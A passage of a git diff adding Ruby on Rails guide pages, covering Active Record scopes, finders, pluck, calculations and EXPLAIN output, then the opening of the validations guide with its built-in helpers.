`includes`. All scope bodies should return an `ActiveRecord::Relation` or `nil` to allow for further methods (such as other scopes) to be called on it. + +To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called: + +```ruby +class Article < ApplicationRecord + scope :published, -> { where(published: true) } +end +``` + +Scopes are also chainable within scopes: + +```ruby +class Article < ApplicationRecord + scope :published, -> { where(published: true) } + scope :published_and_commented, -> { published.where("comments_count > 0") } +end +``` + +To call this `published` scope we can call it on either the class: + +```ruby +Article.published # => [published articles] +``` + +Or on an association consisting of `Article` objects: + +```ruby +category = Category.first +category.articles.published # => [published articles belonging to this category] +``` + +### Passing in arguments + +Your scope can take arguments: + +```ruby +class Article < ApplicationRecord + scope :created_before, ->(time) { where("created_at < ?", time) } +end +``` + +Call the scope as if it were a class method: + +```ruby +Article.created_before(Time.zone.now) +``` + +However, this is just duplicating the functionality that would be provided to you by a class method. + +```ruby +class Article < ApplicationRecord + def self.created_before(time) + where("created_at < ?", time) + end +end +``` + +Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects: + +```ruby +category.articles.created_before(time) +``` + +### Using conditionals + +Your scope can utilize conditionals: + +```ruby +class Article < ApplicationRecord + scope :created_before, ->(time) { where("created_at < ?", time) if time.present? } +end +``` + +Like the other examples, this will behave similarly to a class method. + +```ruby +class Article < ApplicationRecord + def self.created_before(time) + where("created_at < ?", time) if time.present? + end +end +``` + +However, there is one important caveat: A scope will always return an `ActiveRecord::Relation` object, even if the conditional evaluates to `false`, whereas a class method, will return `nil`. This can cause `NoMethodError` when chaining class methods with conditionals, if any of the conditionals return `false`. + +### Applying a default scope + +If we wish for a scope to be applied across all queries to the model we can use the +`default_scope` method within the model itself. + +```ruby +class Client < ApplicationRecord + default_scope { where("removed_at IS NULL") } +end +``` + +When queries are executed on this model, the SQL query will now look something like +this: + +```sql +SELECT * FROM clients WHERE removed_at IS NULL +``` + +If you need to do more complex things with a default scope, you can alternatively +define it as a class method: + +```ruby +class Client < ApplicationRecord + def self.default_scope + # Should return an ActiveRecord::Relation. + end +end +``` + +NOTE: The `default_scope` is also applied while creating/building a record +when the scope arguments are given as a `Hash`. It is not applied while +updating a record. E.g.: + +```ruby +class Client < ApplicationRecord + default_scope { where(active: true) } +end + +Client.new # => #<Client id: nil, active: true> +Client.unscoped.new # => #<Client id: nil, active: nil> +``` + +Be aware that, when given in the `Array` format, `default_scope` query arguments +cannot be converted to a `Hash` for default attribute assignment. E.g.: + +```ruby +class Client < ApplicationRecord + default_scope { where("active = ?", true) } +end + +Client.new # => #<Client id: nil, active: nil> +``` + +### Merging of scopes + +Just like `where` clauses scopes are merged using `AND` conditions. + +```ruby +class User < ApplicationRecord + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.active.inactive +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive' +``` + +We can mix and match `scope` and `where` conditions and the final sql +will have all conditions joined with `AND`. + +```ruby +User.active.where(state: 'finished') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished' +``` + +If we do want the last `where` clause to win then `Relation#merge` can +be used. + +```ruby +User.active.merge(User.inactive) +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +``` + +One important caveat is that `default_scope` will be prepended in +`scope` and `where` conditions. + +```ruby +class User < ApplicationRecord + default_scope { where state: 'pending' } + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active' + +User.where(state: 'inactive') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive' +``` + +As you can see above the `default_scope` is being merged in both +`scope` and `where` conditions. + +### Removing All Scoping + +If we wish to remove scoping for any reason we can use the `unscoped` method. This is +especially useful if a `default_scope` is specified in the model and should not be +applied for this particular query. + +```ruby +Client.unscoped.load +``` + +This method removes all scoping and will do a normal query on the table. + +```ruby +Client.unscoped.all +# SELECT "clients".* FROM "clients" + +Client.where(published: false).unscoped.all +# SELECT "clients".* FROM "clients" +``` + +`unscoped` can also accept a block. + +```ruby +Client.unscoped { + Client.created_before(Time.zone.now) +} +``` + +Dynamic Finders +--------------- + +For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` method. + +You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")` + +If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`. + +Enums +----- + +The `enum` macro maps an integer column to a set of possible values. + +```ruby +class Book < ApplicationRecord + enum availability: [:available, :unavailable] +end +``` + +This will automatically create the corresponding [scopes](#scopes) to query the +model. Methods to transition between states and query the current state are also +added. + +```ruby +# Both examples below query just available books. +Book.available +# or +Book.where(availability: :available) + +book = Book.new(availability: :available) +book.available? # => true +book.unavailable! # => true +book.available? # => false +``` + +Read the full documentation about enums +[in the Rails API docs](http://api.rubyonrails.org/classes/ActiveRecord/Enum.html). + +Understanding The Method Chaining +--------------------------------- + +The Active Record pattern implements [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining), +which allow us to use multiple Active Record methods together in a simple and straightforward way. + +You can chain methods in a statement when the previous method called returns an +`ActiveRecord::Relation`, like `all`, `where`, and `joins`. Methods that return +a single object (see [Retrieving a Single Object Section](#retrieving-a-single-object)) +have to be at the end of the statement. + +There are some examples below. This guide won't cover all the possibilities, just a few as examples. +When an Active Record method is called, the query is not immediately generated and sent to the database, +this just happens when the data is actually needed. So each example below generates a single query. + +### Retrieving filtered data from multiple tables + +```ruby +Person + .select('people.id, people.name, comments.text') + .joins(:comments) + .where('comments.created_at > ?', 1.week.ago) +``` + +The result should be something like this: + +```sql +SELECT people.id, people.name, comments.text +FROM people +INNER JOIN comments + ON comments.person_id = people.id +WHERE comments.created_at > '2015-01-01' +``` + +### Retrieving specific data from multiple tables + +```ruby +Person + .select('people.id, people.name, companies.name') + .joins(:company) + .find_by('people.name' => 'John') # this should be the last +``` + +The above should generate: + +```sql +SELECT people.id, people.name, companies.name +FROM people +INNER JOIN companies + ON companies.person_id = people.id +WHERE people.name = 'John' +LIMIT 1 +``` + +NOTE: Note that if a query matches multiple records, `find_by` will +fetch only the first one and ignore the others (see the `LIMIT 1` +statement above). + +Find or Build a New Object +-------------------------- + +It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods. + +### `find_or_create_by` + +The `find_or_create_by` method checks whether a record with the specified attributes exists. If it doesn't, then `create` is called. Let's see an example. + +Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running: + +```ruby +Client.find_or_create_by(first_name: 'Andy') +# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +``` + +The SQL generated by this method looks like this: + +```sql +SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 +BEGIN +INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57') +COMMIT +``` + +`find_or_create_by` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. + +The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`). + +Suppose we want to set the 'locked' attribute to `false` if we're +creating a new record, but we don't want to include it in the query. So +we want to find the client named "Andy", or if that client doesn't +exist, create a client named "Andy" which is not locked. + +We can achieve this in two ways. The first is to use `create_with`: + +```ruby +Client.create_with(locked: false).find_or_create_by(first_name: 'Andy') +``` + +The second way is using a block: + +```ruby +Client.find_or_create_by(first_name: 'Andy') do |c| + c.locked = false +end +``` + +The block will only be executed if the client is being created. The +second time we run this code, the block will be ignored. + +### `find_or_create_by!` + +You can also use `find_or_create_by!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add + +```ruby +validates :orders_count, presence: true +``` + +to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised: + +```ruby +Client.find_or_create_by!(first_name: 'Andy') +# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank +``` + +### `find_or_initialize_by` + +The `find_or_initialize_by` method will work just like +`find_or_create_by` but it will call `new` instead of `create`. This +means that a new model instance will be created in memory but won't be +saved to the database. Continuing with the `find_or_create_by` example, we +now want the client named 'Nick': + +```ruby +nick = Client.find_or_initialize_by(first_name: 'Nick') +# => #<Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> + +nick.persisted? +# => false + +nick.new_record? +# => true +``` + +Because the object is not yet stored in the database, the SQL generated looks like this: + +```sql +SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 +``` + +When you want to save it to the database, just call `save`: + +```ruby +nick.save +# => true +``` + +Finding by SQL +-------------- + +If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query: + +```ruby +Client.find_by_sql("SELECT * FROM clients + INNER JOIN orders ON clients.id = orders.client_id + ORDER BY clients.created_at desc") +# => [ +# #<Client id: 1, first_name: "Lucas" >, +# #<Client id: 2, first_name: "Jan" >, +# ... +# ] +``` + +`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects. + +### `select_all` + +`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. This method will return an instance of `ActiveRecord::Result` class and calling `to_hash` on this object would return you an array of hashes where each hash indicates a record. + +```ruby +Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'").to_hash +# => [ +# {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, +# {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"} +# ] +``` + +### `pluck` + +`pluck` can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type. + +```ruby +Client.where(active: true).pluck(:id) +# SELECT id FROM clients WHERE active = 1 +# => [1, 2, 3] + +Client.distinct.pluck(:role) +# SELECT DISTINCT role FROM clients +# => ['admin', 'member', 'guest'] + +Client.pluck(:id, :name) +# SELECT clients.id, clients.name FROM clients +# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] +``` + +`pluck` makes it possible to replace code like: + +```ruby +Client.select(:id).map { |c| c.id } +# or +Client.select(:id).map(&:id) +# or +Client.select(:id, :name).map { |c| [c.id, c.name] } +``` + +with: + +```ruby +Client.pluck(:id) +# or +Client.pluck(:id, :name) +``` + +Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`, +without constructing `ActiveRecord` objects. This can mean better performance for +a large or often-running query. However, any model method overrides will +not be available. For example: + +```ruby +class Client < ApplicationRecord + def name + "I am #{super}" + end +end + +Client.select(:name).map &:name +# => ["I am David", "I am Jeremy", "I am Jose"] + +Client.pluck(:name) +# => ["David", "Jeremy", "Jose"] +``` + +You are not limited to querying fields from a single table, you can query multiple tables as well. + +``` +Client.joins(:comments, :categories).pluck("clients.email, comments.title, categories.name") +``` + +Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate +query, and thus cannot be chained with any further scopes, although it can work with +scopes already constructed earlier: + +```ruby +Client.pluck(:name).limit(1) +# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8> + +Client.limit(1).pluck(:name) +# => ["David"] +``` + +### `ids` + +`ids` can be used to pluck all the IDs for the relation using the table's primary key. + +```ruby +Person.ids +# SELECT id FROM people +``` + +```ruby +class Person < ApplicationRecord + self.primary_key = "person_id" +end + +Person.ids +# SELECT person_id FROM people +``` + +Existence of Objects +-------------------- + +If you simply want to check for the existence of the object there's a method called `exists?`. +This method will query the database using the same query as `find`, but instead of returning an +object or collection of objects it will return either `true` or `false`. + +```ruby +Client.exists?(1) +``` + +The `exists?` method also takes multiple values, but the catch is that it will return `true` if any +one of those records exists. + +```ruby +Client.exists?(id: [1,2,3]) +# or +Client.exists?(name: ['John', 'Sergei']) +``` + +It's even possible to use `exists?` without any arguments on a model or a relation. + +```ruby +Client.where(first_name: 'Ryan').exists? +``` + +The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` +otherwise. + +```ruby +Client.exists? +``` + +The above returns `false` if the `clients` table is empty and `true` otherwise. + +You can also use `any?` and `many?` to check for existence on a model or relation. + +```ruby +# via a model +Article.any? +Article.many? + +# via a named scope +Article.recent.any? +Article.recent.many? + +# via a relation +Article.where(published: true).any? +Article.where(published: true).many? + +# via an association +Article.first.categories.any? +Article.first.categories.many? +``` + +Calculations +------------ + +This section uses count as an example method in this preamble, but the options described apply to all sub-sections. + +All calculation methods work directly on a model: + +```ruby +Client.count +# SELECT COUNT(*) FROM clients +``` + +Or on a relation: + +```ruby +Client.where(first_name: 'Ryan').count +# SELECT COUNT(*) FROM clients WHERE (first_name = 'Ryan') +``` + +You can also use various finder methods on a relation for performing complex calculations: + +```ruby +Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count +``` + +Which will execute: + +```sql +SELECT COUNT(DISTINCT clients.id) FROM clients + LEFT OUTER JOIN orders ON orders.client_id = clients.id + WHERE (clients.first_name = 'Ryan' AND orders.status = 'received') +``` + +### Count + +If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`. + +For options, please see the parent section, [Calculations](#calculations). + +### Average + +If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this: + +```ruby +Client.average("orders_count") +``` + +This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field. + +For options, please see the parent section, [Calculations](#calculations). + +### Minimum + +If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this: + +```ruby +Client.minimum("age") +``` + +For options, please see the parent section, [Calculations](#calculations). + +### Maximum + +If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this: + +```ruby +Client.maximum("age") +``` + +For options, please see the parent section, [Calculations](#calculations). + +### Sum + +If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this: + +```ruby +Client.sum("orders_count") +``` + +For options, please see the parent section, [Calculations](#calculations). + +Running EXPLAIN +--------------- + +You can run EXPLAIN on the queries triggered by relations. For example, + +```ruby +User.where(id: 1).joins(:articles).explain +``` + +may yield + +``` +EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1 ++----+-------------+----------+-------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+----------+-------+---------------+ +| 1 | SIMPLE | users | const | PRIMARY | +| 1 | SIMPLE | articles | ALL | NULL | ++----+-------------+----------+-------+---------------+ ++---------+---------+-------+------+-------------+ +| key | key_len | ref | rows | Extra | ++---------+---------+-------+------+-------------+ +| PRIMARY | 4 | const | 1 | | +| NULL | NULL | NULL | 1 | Using where | ++---------+---------+-------+------+-------------+ + +2 rows in set (0.00 sec) +``` + +under MySQL and MariaDB. + +Active Record performs a pretty printing that emulates that of the +corresponding database shell. So, the same query running with the +PostgreSQL adapter would yield instead + +``` +EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1 + QUERY PLAN +------------------------------------------------------------------------------ + Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0) + Join Filter: (articles.user_id = users.id) + -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4) + Index Cond: (id = 1) + -> Seq Scan on articles (cost=0.00..28.88 rows=8 width=4) + Filter: (articles.user_id = 1) +(6 rows) +``` + +Eager loading may trigger more than one query under the hood, and some queries +may need the results of previous ones. Because of that, `explain` actually +executes the query, and then asks for the query plans. For example, + +```ruby +User.where(id: 1).includes(:articles).explain +``` + +yields + +``` +EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 ++----+-------------+-------+-------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+-------+-------+---------------+ +| 1 | SIMPLE | users | const | PRIMARY | ++----+-------------+-------+-------+---------------+ ++---------+---------+-------+------+-------+ +| key | key_len | ref | rows | Extra | ++---------+---------+-------+------+-------+ +| PRIMARY | 4 | const | 1 | | ++---------+---------+-------+------+-------+ + +1 row in set (0.00 sec) + +EXPLAIN for: SELECT `articles`.* FROM `articles` WHERE `articles`.`user_id` IN (1) ++----+-------------+----------+------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+----------+------+---------------+ +| 1 | SIMPLE | articles | ALL | NULL | ++----+-------------+----------+------+---------------+ ++------+---------+------+------+-------------+ +| key | key_len | ref | rows | Extra | ++------+---------+------+------+-------------+ +| NULL | NULL | NULL | 1 | Using where | ++------+---------+------+------+-------------+ + + +1 row in set (0.00 sec) +``` + +under MySQL and MariaDB. + +### Interpreting EXPLAIN + +Interpretation of the output of EXPLAIN is beyond the scope of this guide. The +following pointers may be helpful: + +* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html) + +* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.7/en/explain-output.html) + +* MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/) + +* PostgreSQL: [Using EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html) diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md new file mode 100644 index 0000000000..0fda7c5cfd --- /dev/null +++ b/guides/source/active_record_validations.md @@ -0,0 +1,1304 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Record Validations +========================= + +This guide teaches you how to validate the state of objects before they go into +the database using Active Record's validations feature. + +After reading this guide, you will know: + +* How to use the built-in Active Record validation helpers. +* How to create your own custom validation methods. +* How to work with the error messages generated by the validation process. + +-------------------------------------------------------------------------------- + +Validations Overview +-------------------- + +Here's an example of a very simple validation: + +```ruby +class Person < ApplicationRecord + validates :name, presence: true +end + +Person.create(name: "John Doe").valid? # => true +Person.create(name: nil).valid? # => false +``` + +As you can see, our validation lets us know that our `Person` is not valid +without a `name` attribute. The second `Person` will not be persisted to the +database. + +Before we dig into more details, let's talk about how validations fit into the +big picture of your application. + +### Why Use Validations? + +Validations are used to ensure that only valid data is saved into your +database. For example, it may be important to your application to ensure that +every user provides a valid email address and mailing address. Model-level +validations are the best way to ensure that only valid data is saved into your +database. They are database agnostic, cannot be bypassed by end users, and are +convenient to test and maintain. Rails makes them easy to use, provides +built-in helpers for common needs, and allows you to create your own validation +methods as well. + +There are several other ways to validate data before it is saved into your +database, including native database constraints, client-side validations and +controller-level validations. Here's a summary of the pros and cons: + +* Database constraints and/or stored procedures make the validation mechanisms + database-dependent and can make testing and maintenance more difficult. + However, if your database is used by other applications, it may be a good + idea to use some constraints at the database level. Additionally, + database-level validations can safely handle some things (such as uniqueness + in heavily-used tables) that can be difficult to implement otherwise. +* Client-side validations can be useful, but are generally unreliable if used + alone. If they are implemented using JavaScript, they may be bypassed if + JavaScript is turned off in the user's browser. However, if combined with + other techniques, client-side validation can be a convenient way to provide + users with immediate feedback as they use your site. +* Controller-level validations can be tempting to use, but often become + unwieldy and difficult to test and maintain. Whenever possible, it's a good + idea to keep your controllers skinny, as it will make your application a + pleasure to work with in the long run. + +Choose these in certain, specific cases. It's the opinion of the Rails team +that model-level validations are the most appropriate in most circumstances. + +### When Does Validation Happen? + +There are two kinds of Active Record objects: those that correspond to a row +inside your database and those that do not. When you create a fresh object, for +example using the `new` method, that object does not belong to the database +yet. Once you call `save` upon that object it will be saved into the +appropriate database table. Active Record uses the `new_record?` instance +method to determine whether an object is already in the database or not. +Consider the following simple Active Record class: + +```ruby +class Person < ApplicationRecord +end +``` + +We can see how it works by looking at some `rails console` output: + +```ruby +$ rails console +>> p = Person.new(name: "John Doe") +=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil> +>> p.new_record? +=> true +>> p.save +=> true +>> p.new_record? +=> false +``` + +Creating and saving a new record will send an SQL `INSERT` operation to the +database. Updating an existing record will send an SQL `UPDATE` operation +instead. Validations are typically run before these commands are sent to the +database. If any validations fail, the object will be marked as invalid and +Active Record will not perform the `INSERT` or `UPDATE` operation. This avoids +storing an invalid object in the database. You can choose to have specific +validations run when an object is created, saved, or updated. + +CAUTION: There are many ways to change the state of an object in the database. +Some methods will trigger validations, but some will not. This means that it's +possible to save an object in the database in an invalid state if you aren't +careful. + +The following methods trigger validations, and will save the object to the +database only if the object is valid: + +* `create` +* `create!` +* `save` +* `save!` +* `update` +* `update!` + +The bang versions (e.g. `save!`) raise an exception if the record is invalid. +The non-bang versions don't: `save` and `update` return `false`, and +`create` just returns the object. + +### Skipping Validations + +The following methods skip validations, and will save the object to the +database regardless of its validity. They should be used with caution. + +* `decrement!` +* `decrement_counter` +* `increment!` +* `increment_counter` +* `toggle!` +* `touch` +* `update_all` +* `update_attribute` +* `update_column` +* `update_columns` +* `update_counters` + +Note that `save` also has the ability to skip validations if passed `validate: +false` as an argument. This technique should be used with caution. + +* `save(validate: false)` + +### `valid?` and `invalid?` + +Before saving an Active Record object, Rails runs your validations. +If these validations produce any errors, Rails does not save the object. + +You can also run these validations on your own. `valid?` triggers your validations +and returns true if no errors were found in the object, and false otherwise. +As you saw above: + +```ruby +class Person < ApplicationRecord + validates :name, presence: true +end + +Person.create(name: "John Doe").valid? # => true +Person.create(name: nil).valid? # => false +``` + +After Active Record has performed validations, any errors found can be accessed +through the `errors.messages` instance method, which returns a collection of errors. +By definition, an object is valid if this collection is empty after running +validations. + +Note that an object instantiated with `new` will not report errors +even if it's technically invalid, because validations are automatically run +only when the object is saved, such as with the `create` or `save` methods. + +```ruby +class Person < ApplicationRecord + validates :name, presence: true +end + +>> p = Person.new +# => #<Person id: nil, name: nil> +>> p.errors.messages +# => {} + +>> p.valid? +# => false +>> p.errors.messages +# => {name:["can't be blank"]} + +>> p = Person.create +# => #<Person id: nil, name: nil> +>> p.errors.messages +# => {name:["can't be blank"]} + +>> p.save +# => false + +>> p.save! +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank + +>> Person.create! +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +``` + +`invalid?` is simply the inverse of `valid?`. It triggers your validations, +returning true if any errors were found in the object, and false otherwise. + +### `errors[]` + +To verify whether or not a particular attribute of an object is valid, you can +use `errors[:attribute]`. It returns an array of all the errors for +`:attribute`. If there are no errors on the specified attribute, an empty array +is returned. + +This method is only useful _after_ validations have been run, because it only +inspects the errors collection and does not trigger validations itself. It's +different from the `ActiveRecord::Base#invalid?` method explained above because +it doesn't verify the validity of the object as a whole. It only checks to see +whether there are errors found on an individual attribute of the object. + +```ruby +class Person < ApplicationRecord + validates :name, presence: true +end + +>> Person.new.errors[:name].any? # => false +>> Person.create.errors[:name].any? # => true +``` + +We'll cover validation errors in greater depth in the [Working with Validation +Errors](#working-with-validation-errors) section. + +### `errors.details` + +To check which validations failed on an invalid attribute, you can use +`errors.details[:attribute]`. It returns an array of hashes with an `:error` +key to get the symbol of the validator: + +```ruby +class Person < ApplicationRecord + validates :name, presence: true +end + +>> person = Person.new +>> person.valid? +>> person.errors.details[:name] # => [{error: :blank}] +``` + +Using `details` with custom validators is covered in the [Working with +Validation Errors](#working-with-validation-errors) section. + +Validation Helpers +------------------ + +Active Record offers many pre-defined validation helpers that you can use +directly inside your class definitions. These helpers provide common validation +rules. Every time a validation fails, an error message is added to the object's +`errors` collection, and this message is associated with the attribute being +validated. + +Each helper accepts an arbitrary number of attribute names, so with a single +line of code you can add the same kind of validation to several attributes. + +All of them accept the `:on` and `:message` options, which define when the +validation should be run and what message should be added to the `errors` +collection if it fails, respectively. The `:on` option takes one of the values +`:create` or `:update`. There is a default error +message for each one of the validation helpers. These messages are used when +the `:message` option isn't specified. Let's take a look at each one of the +available helpers. + +### `acceptance` + +This method validates that a checkbox on the user interface was checked when a +form was submitted. This is typically used when the user needs to agree to your +application's terms of service, confirm that some text is read, or any similar +concept. + +```ruby +class Person < ApplicationRecord + validates :terms_of_service, acceptance: true +end +``` + +This check is performed only if `terms_of_service` is not `nil`. +The default error message for this helper is _"must be accepted"_. +You can also pass custom message via the `message` option. + +```ruby +class Person < ApplicationRecord + validates :terms_of_service, acceptance: { message: 'must be abided' } +end +``` + +It can also receive an `:accept` option, which determines the allowed values +that will be considered as accepted. It defaults to `['1', true]` and can be +easily changed. + +```ruby +class Person < ApplicationRecord + validates :terms_of_service, acceptance: { accept: 'yes' } + validates :eula, acceptance: { accept: ['TRUE', 'accepted'] } +end +``` + +This validation is very specific to web applications and this +'acceptance' does not need to be recorded anywhere in your database. If you +don't have a field for it, the helper will just create a virtual attribute. If +the field does exist in your database, the `accept` option must be set to +or include `true` or else the validation will not run. + +### `validates_associated` + +You should use this helper when your model has associations with other models +and they also need to be validated. When you try to save your object, `valid?` +will be called upon each one of the associated objects. + +```ruby +class Library < ApplicationRecord + has_many :books + validates_associated :books +end +``` + +This validation will work with all of the association types. + +CAUTION: Don't use `validates_associated` on both ends of your associations. +They would call each other in an infinite loop. + +The default error message for `validates_associated` is _"is invalid"_. Note +that each associated object will contain its own `errors` collection; errors do +not bubble up to the calling model. + +### `confirmation` + +You should use this helper when you have two text fields that should receive +exactly the same content. For example, you may want to confirm an email address +or a password. This validation creates a virtual attribute whose name is the +name of the field that has to be confirmed with "_confirmation" appended. + +```ruby +class Person < ApplicationRecord + validates :email, confirmation: true +end +``` + +In your view template you could use something like + +```erb +<%= text_field :person, :email %> +<%= text_field :person, :email_confirmation %> +``` + +This check is performed only if `email_confirmation` is not `nil`. To require +confirmation, make sure to add a presence check for the confirmation attribute +(we'll take a look at `presence` later on in this guide): + +```ruby +class Person < ApplicationRecord + validates :email, confirmation: true + validates :email_confirmation, presence: true +end +``` + +There is also a `:case_sensitive` option that you can use to define whether the +confirmation constraint will be case sensitive or not. This option defaults to +true. + +```ruby +class Person < ApplicationRecord + validates :email, confirmation: { case_sensitive: false } +end +``` + +The default error message for this helper is _"doesn't match confirmation"_. + +### `exclusion` + +This helper validates that the attributes' values are not included in a given +set. In fact, this set can be any enumerable object. + +```ruby +class Account < ApplicationRecord + validates :subdomain, exclusion: { in: %w(www us ca jp), + message: "%{value} is reserved." } +end +``` + +The `exclusion` helper has an option `:in` that receives the set of values that +will not be accepted for the validated attributes. The `:in` option has an +alias called `:within` that you can use for the same purpose, if you'd like to. +This example uses the `:message` option to show how you can include the +attribute's value. For full options to the message argument please see the +[message documentation](#message). + +The default error message is _"is reserved"_. + +### `format` + +This helper validates the attributes' values by testing whether they match a +given regular expression, which is specified using the `:with` option. + +```ruby +class Product < ApplicationRecord + validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/, + message: "only allows letters" } +end +``` + +Alternatively, you can require that the specified attribute does _not_ match the regular expression by using the `:without` option. + +The default error message is _"is invalid"_. + +### `inclusion` + +This helper validates that the attributes' values are included in a given set. +In fact, this set can be any enumerable object. + +```ruby +class Coffee < ApplicationRecord + validates :size, inclusion: { in: %w(small medium large), + message: "%{value} is not a valid size" } +end +``` + +The `inclusion` helper has an option `:in` that receives the set of values that +will be accepted. The `:in` option has an alias called `:within` that you can +use for the same purpose, if you'd like to. The previous example uses the +`:message` option to show how you can include the attribute's value. For full +options please see the [message documentation](#message). + +The default error message for this helper is _"is not included in the list"_. + +### `length` + +This helper validates the length of the attributes' values. It provides a +variety of options, so you can specify length constraints in different ways: + +```ruby +class Person < ApplicationRecord + validates :name, length: { minimum: 2 } + validates :bio, length: { maximum: 500 } + validates :password, length: { in: 6..20 } + validates :registration_number, length: { is: 6 } +end +``` + +The possible length constraint options are: + +* `:minimum` - The attribute cannot have less than the specified length. +* `:maximum` - The attribute cannot have more than the specified length. +* `:in` (or `:within`) - The attribute length must be included in a given + interval. The value for this option must be a range. +* `:is` - The attribute length must be equal to the given value. + +The default error messages depend on the type of length validation being +performed. You can personalize these messages using the `:wrong_length`, +`:too_long`, and `:too_short` options and `%{count}` as a placeholder for the +number corresponding to the length constraint being used. You can still use the +`:message` option to specify an error message. + +```ruby +class Person < ApplicationRecord + validates :bio, length: { maximum: 1000, + too_long: "%{count} characters is the maximum allowed" } +end +``` + +Note that the default error messages are plural (e.g., "is too short (minimum +is %{count} characters)"). For this reason, when `:minimum` is 1 you should +provide a personalized message or use `presence: true` instead. When +`:in` or `:within` have a lower limit of 1, you should either provide a +personalized message or call `presence` prior to `length`. + +### `numericality` + +This helper validates that your attributes have only numeric values. By +default, it will match an optional sign followed by an integral or floating +point number. To specify that only integral numbers are allowed set +`:only_integer` to true. + +If you set `:only_integer` to `true`, then it will use the + +```ruby +/\A[+-]?\d+\z/ +``` + +regular expression to validate the attribute's value. Otherwise, it will try to +convert the value to a number using `Float`. + +```ruby +class Player < ApplicationRecord + validates :points, numericality: true + validates :games_played, numericality: { only_integer: true } +end +``` + +Besides `:only_integer`, this helper also accepts the following options to add +constraints to acceptable values: + +* `:greater_than` - Specifies the value must be greater than the supplied + value. The default error message for this option is _"must be greater than + %{count}"_. +* `:greater_than_or_equal_to` - Specifies the value must be greater than or + equal to the supplied value. The default error message for this option is + _"must be greater than or equal to %{count}"_. +* `:equal_to` - 